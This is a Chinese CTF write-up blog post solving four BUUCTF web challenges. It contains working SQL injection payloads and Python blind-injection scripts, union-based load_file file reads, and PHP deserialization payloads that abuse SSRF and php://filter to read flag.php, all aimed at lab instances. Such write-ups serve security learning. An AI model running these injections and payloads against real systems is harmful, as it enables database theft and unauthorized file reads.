声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!

1、[CISCN2019 华北赛区 Day2 Web1]Hack World

最近多做做sql注入,感觉自己在这一块还是很菜,进去就给了提示flag在flag表的flag字段

post测试一番发现形如1||1、1or1、1&&1、1and1这种都被过滤了:

然后fuzz发现xor、空格、group、limit、order、union、/**/、ord也被过滤了。

经过一番fuzz,构造以下payload:

POST /index.php HTTP/1.1
Host: 706d9826-2f2c-48b6-bf06-877b7226d9cd.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://47f60249-87f3-4344-9f1a-fd0517247d65.node3.buuoj.cn
Connection: keep-alive
Referer: http://47f60249-87f3-4344-9f1a-fd0517247d65.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1id=1^(if(1=1,0,1))

得到正常输出

然后以下payload报错:

POST /index.php HTTP/1.1
Host: 706d9826-2f2c-48b6-bf06-877b7226d9cd.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://47f60249-87f3-4344-9f1a-fd0517247d65.node3.buuoj.cn
Connection: keep-alive
Referer: http://47f60249-87f3-4344-9f1a-fd0517247d65.node3.buuoj.cn/index.php
Upgrade-Insecure-Requests: 1id=1^(if(1=1,1,0))
<head>
<title>Hack World</title>
</head>
<body>
<h3>All You Want Is In Table 'flag' and the column is 'flag'</h3>
<h3>Now, just give the id of passage</h3>
<form action="index.php" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
Error Occured When Fetch Result.

由此感觉可以尝试一下异或注入。

爆数据库长度id=1^(if(((length(database()))=(11)),0,1))得当前数据库字段长度为11

爆数据库名id=1^(if((substr(database(),$3$,1)='a'),0,1))得到数据库名:ctftraining

由于题目给了表名及列名均为flag,因此表名和列名就不爆了,而且group和limit均被过滤,暂时还没有想出好的办法爆表名和列名

爆数据:

POST /index.php HTTP/1.1
Host: a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn
Connection: keep-alive
Referer: http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1id=1^(if(((LEFT((SELECT(flag)FROM(flag)),14))='flag{8556ce6d§1§'),0,1))

直接上代码:

import requestsurl = "http://a97061bd-97c7-43df-8703-bbb4e2b14db7.node3.buuoj.cn/index.php"result = ""
num = 0
for i in range(1, 60):if num == 1:breakfor j in range(32, 128):payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)# print(str((i-1)*96+j-32)+":~"+payload+"~")data = {"id": payload,}r = requests.post(url, data=data)r.encoding = r.apparent_encodingif "Hello" in r.text:x = chr(j)result += str(x)print(result)breakif "}" in result:print(result)num = 1break

拿flag:

2、[网鼎杯 2018]Fakebook

注数据库名:

# 根据回显盲注获取数据库名
# database_len_payload:获取数据库名长度的payload,自行配置
# database_name_payload:获取数据库名的payload,自行配置
# HX:命中结果时的回显
def get_databasename_HX(url, HX):db_name = ""database_len = 0  # 数据库名的长度for i in range(1, 32):payload = url + "?no=-1||(if((length(database())="+str(i)+"),True,False));#"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:database_len = ibreakif database_len == 0:print("读取数据库长度失败,程序终止")return "-1"else:print("数据库长度为:" + str(database_len))for i in range(1, database_len + 1):for j in range(32, 127):payload = url + "?no=-1||(if(ascii(substr(database(),"+str(i)+",1))="+str(j)+",True,False));%23"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:print("发现第" + str(i) + "位:" + chr(j))db_name += chr(j)breakprint("数据库名为:%s" % db_name)return db_name

得到数据库名fakebook

注表名:

# 根据回显盲注获取所有数据表名
def get_tablename_HX(url, HX, db_name):table_group_length = 0for i in range(1, 32):payload = url + "?no=-1||((" + str(i) + ")=(SELECT(length(group_concat(table_name)))FROM(information_schema.tables)WHERE((table_schema)regexp('" + db_name + "'))))"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:table_group_length = ibreakif table_group_length == 0:print ("读取数据库表失败,程序结束")return -1else:tables = ""for i in range(1, table_group_length + 1):for j in range(1, 128):payload = url + "?no=-1||((" + str(j) + ")=ASCII((SELECT(SUBSTR(GROUP_CONCAT(table_name)," + str(i) + ",1))FROM(information_schema.tables)WHERE((table_schema)REGEXP('fakebook')))))"result = requests.get(payload)result.encoding = 'utf-8'if result.text.find(HX) != -1:tables += chr(j)print(tables)breakprint(tables)return 1

得到一个表users

这里我傻逼了,啥都想着盲注,实际直接order by就行,猜字段数:http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5

查看数据库http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1/**/order/**/by/**/5

这里查看到用户是很高权限的root,且知道网站绝对路径,因此直接读取flag.php:

388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,(load_file(%27/var/www/html/flag.php%27)),3,4%23

flag{87e307df-5ae9-41f4-b5fd-f91a2200caff}。

上面这个是非预期解,实际上预期的解法是SSRF+反序列化+sql注入。

下面也做一下这个预期解。

查字段http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,(SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where%20table_name=%27users%27),3,4%23

读一下data这个字段:

http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=0%20union/**/select/**/1,data,3,4%20from%20users%23

是一个序列化的字符串。这里按照一般日站的套路,先扫一波目录和robots.txt,三个网页源码我都看了,没有什么收获。

robots.txt:

发现了一个备份文件。

扫目录:


看看这个备份文件:

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();// 设置 URL 和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// 抓取 URL 并把它传递给浏览器$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

审计一下发现是之前注入data里面的序列化的对象。

这里get函数我注释那里出现了可疑的SSRF代码,没有对传入的url参数做任何过滤便直接执行curl_exec。

这里盲猜服务器是从数据库中取反序列化的对象出来,然后将对象中的blog字段使用curl请求,这就可能存在SSRF。

所以构造以下序列化的payload:

<?php
class UserInfo
{public $name = "admin";public $age = 1;public $blog = "file:///var/www/html/flag.php";
}
$a = serialize(new UserInfo("admin",1,"filer:///var/www/html/flag.php"));
echo ($a);
?>

得到:

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

随着sql注入到页面上构造最终的payload:

http://388930ea-5c42-4bf3-aee2-a17503715879.node3.buuoj.cn/view.php?no=-1%20union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27%23

把base64,后面的字符拿去解码:

<?php

$flag = "flag{87e307df-5ae9-41f4-b5fd-f91a2200caff}";
exit(0);
拿到flag。

3、[GXYCTF2019]BabySQli

题目盲猜是sql注入

随便输入一个密码得到wrong user,查看源码发现有提示

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>wrong pass!

注释里面的代码一个个试了遍,百度得知是base32,解码得到sql语句:

select * from user where username = '$name'

那先试试单引号,还真报错了:

测试发现or、左括号  (  和右括号  )被过滤了。

如果过滤了括号,其他盲注基本上就是废了,所以这里考虑使用order by盲注。

(or这个过滤可以使用大小写绕过)

这里记录一下order by盲注的知识:

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据,然后再根据排序列对结果进行排序。

因此我们可以一位一位的对密码进行猜解。

判断表的列数为3:

POST /search.php HTTP/1.1
Host: cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn
Connection: close
Referer: http://cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1name='union%20select%20'1','2';%23&pw=1

判断用户名是第二列:

POST /search.php HTTP/1.1
Host: cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn
Connection: close
Referer: http://cf0dc980-25ac-4afb-b668-e6c98e029847.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1name='union%20select%201,'admin',3;%23&pw=1

猜解密码:

name='||1+union%20select%201,2,'3'%20Order%20by%203%20limit%201;%23&pw=1

当构造的密码第一位不对时,查出来是wronguser,因为返回的是第一列我们自己构造的数据。

当构造的密码第一位比实际密码大1时,返回的是查出来的实际数据,因此找到wronguser和wrongpass的分界线的那一个wronguser就是我们要的第一位密码。

猜解的python2.7脚本如下:

import requests
dic = "0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://bde93798-ff54-45d1-b059-864ebf2c0301.node3.buuoj.cn/search.php"
HX1 = "user"
HX2 = "pass"
passwd = ""
payload1 = '\'||1 union select 1,2,\''
payload2 = '\' Order by 3 limit 1;#'
for i in range(32):HX1flag = 0HX2flag = 0for j in range(0,36):payload = payload1+passwd+dic[j]+payload2# print payloadpostData = {'name': payload, 'pw': 1}responds = requests.post(url, data=postData)# print responds.textif responds.text.find(HX1)!= -1:HX1flag = 1if responds.text.find(HX2)!= -1:passwd = passwd+dic[j-1]breakprint passwd

爆出来密码的md5为:cdc9c819c7f8be2628d4180669009d28

这个md5撞库失败了,不知道明文是什么。

所以要找一种简单解法:

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。因此,根据该语句,我们直接在pass框里面输入e10adc3949ba59abbe56e057f20f883e的md5解密结果。

具体做法如下:

name='union%20select%201,'admin','c4ca4238a0b923820dcc509a6f75849b';%23&pw=1

这个语句会返回我们构造的联合查询结果{1,'admin','c4ca4238a0b923820dcc509a6f75849b'}。

盲猜代码会将联合查询查出来的结果比对我们输入的密码的md5。所以pw那里是1,而c4ca4238a0b923820dcc509a6f75849b就是1的md5值。

返回flag:

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 07 Jun 2021 13:56:53 GMT
Content-Type: text/html
Content-Length: 258
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.29<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>flag{980f72bf-f6f8-463b-a69e-30d9a76bf302}

4.[网鼎杯 2020 青龙组]AreUSerialz

这题根据提示盲猜是序列化。果然进来就给代码,审计之:

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {        //对象初始化时执行$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {  //输出变量s的值echo "[Result]: <br>";echo $s;}function __destruct() {       //对象销毁时执行,如果此时对象的op为2则修改为1,同时执行process方法if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {         //合法性判断,当输入的字符串不是可见字符时返回falsefor($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

可以看到__destruct方法在对象销毁时执行,首先做一个强比较的判断op等不等于2,在这里如果等于2就会置1.然后执行process方法。

process方法弱类型比较的判断op是否等于2,等于2则执行read方法。

因此php序列化的代码这样写:

<?php
class FileHandler{public $op = 2;public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";public $content = "Hello World!";
}
echo serialize(new FileHandler());
?>

拿flag:http://27a1919e-75f2-42fa-b596-14ed83035479.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;s:12:%22Hello%20World!%22;}

base64解码就能拿到flag。

5.[MRCTF2020]你传你

BUUCTF笔记之Web系列部分WriteUp(三)相关推荐

  1. BUUCTF笔记之Web系列部分WriteUp(四)

    1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...

  2. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  3. BUUCTF笔记之Misc系列部分WriteUp(二)

    1.爱因斯坦 binwalk分离出一个压缩包. 查看图片备注: 解压得到flag. 2.easycap 追踪TCP流: 3.另外一个世界 binwalk和steg一无所获,图片备注也看了没有收获,wi ...

  4. 【网络安全之Web系列三】CentOS6.5基础

    系列文章目录 [网络安全之Web系列一]常用工具安装及使用之Burp Suite [网络安全之Web系列二]常用工具安装及使用之VMware Workstation 文章目录 系列文章目录 前言 一. ...

  5. 拦截器获取请求参数post_「SpringBoot WEB 系列」RestTemplate 之自定义请求头

    [WEB 系列]RestTemplate 之自定义请求头 上一篇介绍了 RestTemplate 的基本使用姿势,在文末提出了一些扩展的高级使用姿势,本篇将主要集中在如何携带自定义的请求头,如设置 U ...

  6. javascript系列之DOM(三)---事件

    javascript系列之DOM(三)---事件 原文:javascript系列之DOM(三)---事件 事件是javascript跳动的心脏,是DOM所有成分结合的万金油.当我们在WEB 上进行某些 ...

  7. Lync Server 2010的部署系列_第三章 证书、架构、DNS规划

    Lync Server 2010的部署系列_第三章 证书.架构.DNS规划 一.证书规划 组件 使用者名称 使用者备用名称条目/顺序 证书颁发机构 (CA) 备注 边缘外部接口 Sip.Giantha ...

  8. 从零开始学 Web 之 ES6(三)ES6基础语法一

    大家好,这里是「 从零开始学 Web 系列教程 」,并在下列地址同步更新...... github:https://github.com/Daotin/Web 微信公众号:Web前端之巅 博客园:ht ...

  9. springboot 设置默认访问index.html_【SpringBoot WEB系列】WebFlux静态资源配置与访问

    [SpringBoot WEB系列]WebFlux静态资源配置与访问 上一篇博文介绍SpringMVC的静态资源访问,那么在WebFlux中,静态资源的访问姿势是否一致呢 I. 默认配置 与Sprin ...

最新文章

  1. MindManager脑图之项目管理甘特图
  2. C++设计模式之适配器模式
  3. python统计提取数量_python中统计计数的几种方法和Counter的介绍
  4. Docker最全教程——数据库容器化(十一)
  5. wxpython多线程消息传递_wxpython多线程间通信
  6. V210 UART TX 流程
  7. SQL工作笔记-达梦7存储过程中游标的使用(for循环 IF等)
  8. 一步一步写算法(之通用数据结构)
  9. 基准风险因子暴露度_具有性能基准SQL Server索引填充因子
  10. python 生成器装饰器_七.python迭代器生成器装饰器
  11. java中整数和字符串间的转换方法
  12. Flask 的路由系统 FBV 与 CBV
  13. 不规则裁剪图片css,在css中将div剪裁成不规则形状的方法
  14. 利用Windbg深入理解变量的存储模型
  15. FPGA入门 Xilinx暑期学校学习Day4
  16. inode客户端连接成功上不了网_iNode智能客户端常见问题及解决办法
  17. java开发一个银行系统_java实现银行管理系统
  18. 隐藏win11任务栏时间,开启专注模式
  19. window10下CUDA9安装和vs2015配置
  20. 5G系统——连接管理CM

热门文章

  1. 七月上伴奏计算机按键,数字化音乐专业教室配备方案(7页)-原创力文档
  2. 如何写15分钟的计时器
  3. JVM语言Xtend优缺点速览
  4. 51单片机学习笔记之数码管1显示数字0以及使用蜂鸣器
  5. 从零开始制作STM32F103RCT6小车(一)
  6. 最全的PHP开发Android应用程序
  7. 公司企业如何制作微信小程序店铺?
  8. RHCS 集群详解及 部署(ricci、luci、fence、apache、scsi、gfs、DLM)
  9. Codeforces Edu Hacking
  10. 2021 TWeb 腾讯前端技术大会精彩回顾(附PPT)